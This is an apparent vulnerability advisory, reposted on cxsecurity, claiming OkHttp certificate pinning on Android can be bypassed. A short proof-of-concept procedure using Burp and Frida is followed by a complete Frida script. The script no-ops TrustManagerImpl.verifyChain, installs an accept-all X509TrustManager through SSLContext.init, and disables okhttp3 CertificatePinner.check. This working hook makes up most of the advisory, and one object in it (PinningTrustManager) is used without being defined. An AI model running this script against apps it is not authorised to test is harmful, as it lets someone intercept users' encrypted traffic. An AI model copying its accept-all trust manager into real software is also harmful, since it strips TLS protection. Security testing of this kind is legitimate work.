OkHttp SSL pinning is bypassable

2018.12.31
in Dinesh (IN) in
Risk: Medium
Local: Yes
Remote: Yes
CWE: N/A

OkHttp allows man-in-the-middle attackers to bypass certificate pinning by changing SSLContext and the boolean values while hooking the application. POC: Step 1. Configure the burp proxy with Android rooted phone or emulator to intercept the traffic. Step 2. Configure the Frida tool to hook the application. Step 3. To bypass the pinning, Inject JS file to manipulate the class files and SSL context. Step 4. inject the js file with Frida in the vulnerable app then it will overwrite the okhttp classes and we can able to intercept the app’s network traffic. setTimeout(function() { Java.perform(function() { console.log(""); console.log("[.] Android Cert Pinning Bypass"); var CertificateFactory = Java.use("java.security.cert.CertificateFactory"); var FileInputStream = Java.use("java.io.FileInputStream"); var BufferedInputStream = Java.use("java.io.BufferedInputStream"); var X509Certificate = Java.use("java.security.cert.X509Certificate"); var KeyStore = Java.use("java.security.KeyStore"); var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory"); var SSLContext = Java.use("javax.net.ssl.SSLContext"); var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); console.log("[.] TrustManagerImpl Android 7+ detection..."); try { var TrustManagerImpl = Java.use('com.android.org.conscrypt.TrustManagerImpl'); TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain, host, clientAuth, ocspData, tlsSctData) { console.log("[+] (Android 7+) TrustManagerImpl verifyChain() called. Not throwing an exception."); return untrustedChain; } PinningTrustManager.checkServerTrusted.implementation = function() { console.log("[+] Appcelerator checkServerTrusted() called. Not throwing an exception."); } } catch (err) { console.log("[-] TrustManagerImpl Not Found"); } console.log("[.] TrustManager Android < 7 detection..."); var TrustManager = Java.registerClass({ name: 'com.sensepost.test.TrustManager', implements: [X509TrustManager], methods: { checkClientTrusted: function(chain, authType) {}, checkServerTrusted: function(chain, authType) {}, getAcceptedIssuers: function() { return []; } } }); var TrustManagers = [TrustManager.$new()]; var SSLContext_init = SSLContext.init.overload( '[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom'); try { SSLContext_init.implementation = function(keyManager, trustManager, secureRandom) { console.log("[+] Overriding SSLContext.init() with the custom TrustManager android < 7"); SSLContext_init.call(this, keyManager, TrustManagers, secureRandom); }; } catch (err) { console.log("[-] TrustManager Not Found"); } console.log("[.] OkHTTP 3.x detection..."); try { var CertificatePinner = Java.use('okhttp3.CertificatePinner'); console.log("[+] OkHTTP 3.x Found"); CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() { console.log("[+] OkHTTP 3.x check() called. Not throwing an exception."); }; } catch (err) { console.log("[-] OkHTTP 3.x Not Found") } }); }, 0); Found by: Dinesh, Security Researcher at BugDiscover


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top